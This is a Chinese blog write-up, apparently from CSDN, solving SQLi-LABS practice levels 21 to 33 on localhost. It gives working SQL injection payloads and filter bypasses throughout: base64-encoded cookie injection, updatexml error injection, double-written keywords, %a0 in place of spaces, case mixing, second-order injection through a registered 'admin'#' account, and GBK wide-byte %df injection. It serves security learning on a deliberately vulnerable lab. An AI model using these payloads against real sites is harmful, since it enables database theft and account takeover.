SQLi-LABS Page-2 (Adv Injections)

注意点

好像每次联合查询id都是-1,但有时候-可能过滤以后直接为空 应该也可行

Less-21

无聊的老套路加上了base64的加密
YWRtaW4=解密 => admin
admin’ 加密 => YWRtaW4n
cookie处构造

uname=YWRtaW4n

剥离法
知道是’)的组合 在base64工具上构造

admin') and updatexml(1,concat(0x7e,database(),0x7e),1) #

加密后构造payload

uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSAj

之后常规

Less-22

基础骨架

uname=YWRtaW4iICM=

之后常规操作

Less-23

http://localhost/sqli-labs/Less-23/?id=1'

此时分析外显信息,构造没有问题
加–+处理
发现依然报错 考虑存在过滤
分析脚本

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

讲–+用’1’='1取代

http://localhost/sqli-labs/Less-23/?id=1'and '1'='1

回显正常
接下来确定字段数
构造

http://localhost/sqli-labs/Less-23/?id=1' order by [int] and '1'='1

发现int为何值都正常
分析此时的sql语句实质为

SELECT * FROM users WHERE id='1' order by [int] and '1'='1' LIMIT 0,1  //A

但是自己构造如下测试语句却可以

SELECT * FROM users WHERE id='1'  and '1'='1' order by [int] LIMIT 0,1  //B

在粗略翻阅了一些sql相关书籍和资料后
order by字句对SELECT的结果集进行处理
and操作符是WHERE子句的附加条件

A中应为

SELECT * FROM users WHERE【 id='1' order by [int]】 and 【'1'='1'】 LIMIT 0,1  

order by作用在WHERE 无意义
B中应为

【SELECT * FROM users WHERE id='1'  and '1'='1' 】order by [int] LIMIT 0,1  //B

故此题无法使用order by
于是union select穷举
构造

http://localhost/sqli-labs/Less-23/?id=-1' union select 1,2,3 and '1'='1

界面回显
Your Login name:2
Your Password:1

password:1的原因 分析如下
此为sql执行语句

SELECT * FROM users WHERE id='  -1' union select 1,2,3 and '1'='1  ' LIMIT 0,1
3 and '1'='1  //True == 1

故3号显示位为1
突破点便为2号显示位

之后常规操作

http://localhost/sqli-labs/Less-23/?id=-1' union select 1,(select group_concat(username,'_',password) from users),3 and '1'='1

Less-24(有点问题)

存储型注入 也叫二次排序注入

将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入

黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
黑客向服务端发送第二个与第一次不相同的请求数据信息。
服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

这题难以在登录口进行注入操作
在这里插入图片描述不难发现对于username和password的字符长度进行了限制
想在注册新用户界面进行注入也不容易
在脚本中存在mysqli_real_escape_string() 会将你的sql特殊字符都转换为普通字符
因此使用存储型注入 通过二次请求达到注入目的

先注册
username=admin’#
password=123

之后登陆admin’#这个账户进行修改密码
在脚本中对password进行了mysqli_real_escape_string()处理
但所用的username为session中的username

$username= $_SESSION["username"]; //username=admin'#
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

此时的真实sql语句

UPDATE users SET PASSWORD='$pass' where username='admin'

于是便对admin账户进行了密码修改

效果如下 不做详述
在这里插入图片描述

Less-25

前期操作不作说明
构造

http://localhost/sqli-labs/Less-25/?id=1' and order by 2--+

界面Hint如下
**Hint: Your Input is Filtered with following result: 1’ der by 2-- **
很快反应过来是过滤
进行双写绕过(此方法看操作即可明白)

http://localhost/sqli-labs/Less-25/?id=1' and oorrder by 2--+

界面回显正常
之后常规操作
值得一提的细节是 information中也有or

http://localhost/sqli-labs/Less-25/?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3--+

Less-25a

没这题 气不气 皮不皮

Less-26(思考 如果没有Hint怎么办 如何知晓过滤内容)

对空格,or,and,/,#,–,/等各种符号进行过滤
这题好像windows下不能这么做 具体怎么样不清楚
在mac以及linux下空格可以用%a0取代
道理不清楚 没查到资料 有点尴尬 有清楚的请指明 谢谢
故构造

http://localhost/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,2,3%a0anandd'1'='1
http://localhost/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,(select%a0group_concat(schema_name)%a0from%a0infoorrmation_schema.schemata),3%a0anandd'1'='1

常规操作

Less-26a

上题结尾闭合%a0anandd’1’='1过于繁琐
可以利用||, ||等同于or而且可以绕过空格 具体操作如下
先构造

http://localhost/sqli-labs/Less-26a/?id=1'

没报错 就很不舒服 mmp
只好猜闭合
这里要提一个我个人猜闭合的见解 不一定准确
我们可以试着双引号构造
在这里插入图片描述
可以发现如果是"是可以查询到的 所以"是无法闭合sql语句的
而’可以,那么可以猜测’要么是闭合结构要么就是组成闭合结构的一部分
于是尝试如下构造

http://localhost/sqli-labs/Less-26a/?id=1'||' 

发现回显正常 在不知情sql结构情况下我们应该会认为已经闭合完成
(说明此时只能证明’是结构的一个组成部分)
在接下来的操作中 我们无法实用order by原因之前我已经阐述
用union select穷举

http://localhost/sqli-labs/Less-26a/?id='union%a0select%a0[1,2,3...]||' 

穷了半天无回显,不和逻辑,猜测构造有误
常见会有外部加括号的可能 尝试构造

http://localhost/sqli-labs/Less-26a/?id=')union%a0select%a01,2,3||('

外显
Your Login name:2
Your Password:1

注入点为name 原因之前已经阐述
之后常规操作

Less-27

这题有报错 开始很顺利

http://localhost/sqli-labs/Less-27/?id=1'%a0uniunionon%a0seleselectct%a01,2,3||'1

到这一步发现select双写操作不成功 很奇怪
只好看脚本
发现很坑的一行代码

$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.

/m多行查找
这鬼东西会一直过滤select
尝试切换大小写绕过脚本 (优先这种操作)
提一句
mysql默认是不区分大小写的
这也为这种绕过提供了条件
重新构造

http://localhost/sqli-labs/Less-27/?id='%a0unIon%a0seLect%a01,2,3||'1

常规操作

Less-27a

按之前的思路轻松操作

http://localhost/sqli-labs/Less-27a/?id="unIon%a0sELEct%a01,2,3||"
http://localhost/sqli-labs/Less-27a/?id="unIon%a0sELEct%a01,(seLect%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database()),3||"

Less-28

简单的诡异 奇怪!

http://localhost/sqli-labs/Less-28/?id=')union%a0select%a01,database(),3||('

Less-28a

依旧简单

http://localhost/sqli-labs/Less-28a/?id=')union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database()),3||('

Less-29~Less-32(先空着)

Less-33

宽字节注入

mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候介绍)

因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路: 1、%df吃掉 \ 具体的原因是urlencode(‘) =
%5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’ 中的 \ 过滤掉,例如可以构造
%**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。

%df = ß
知道原理就很好构造

http://localhost/sqli-labs/Less-33/?id=1%df'--+

之后照旧

Less-34

猜你喜欢

转载自blog.csdn.net/weixin_43960884/article/details/89342172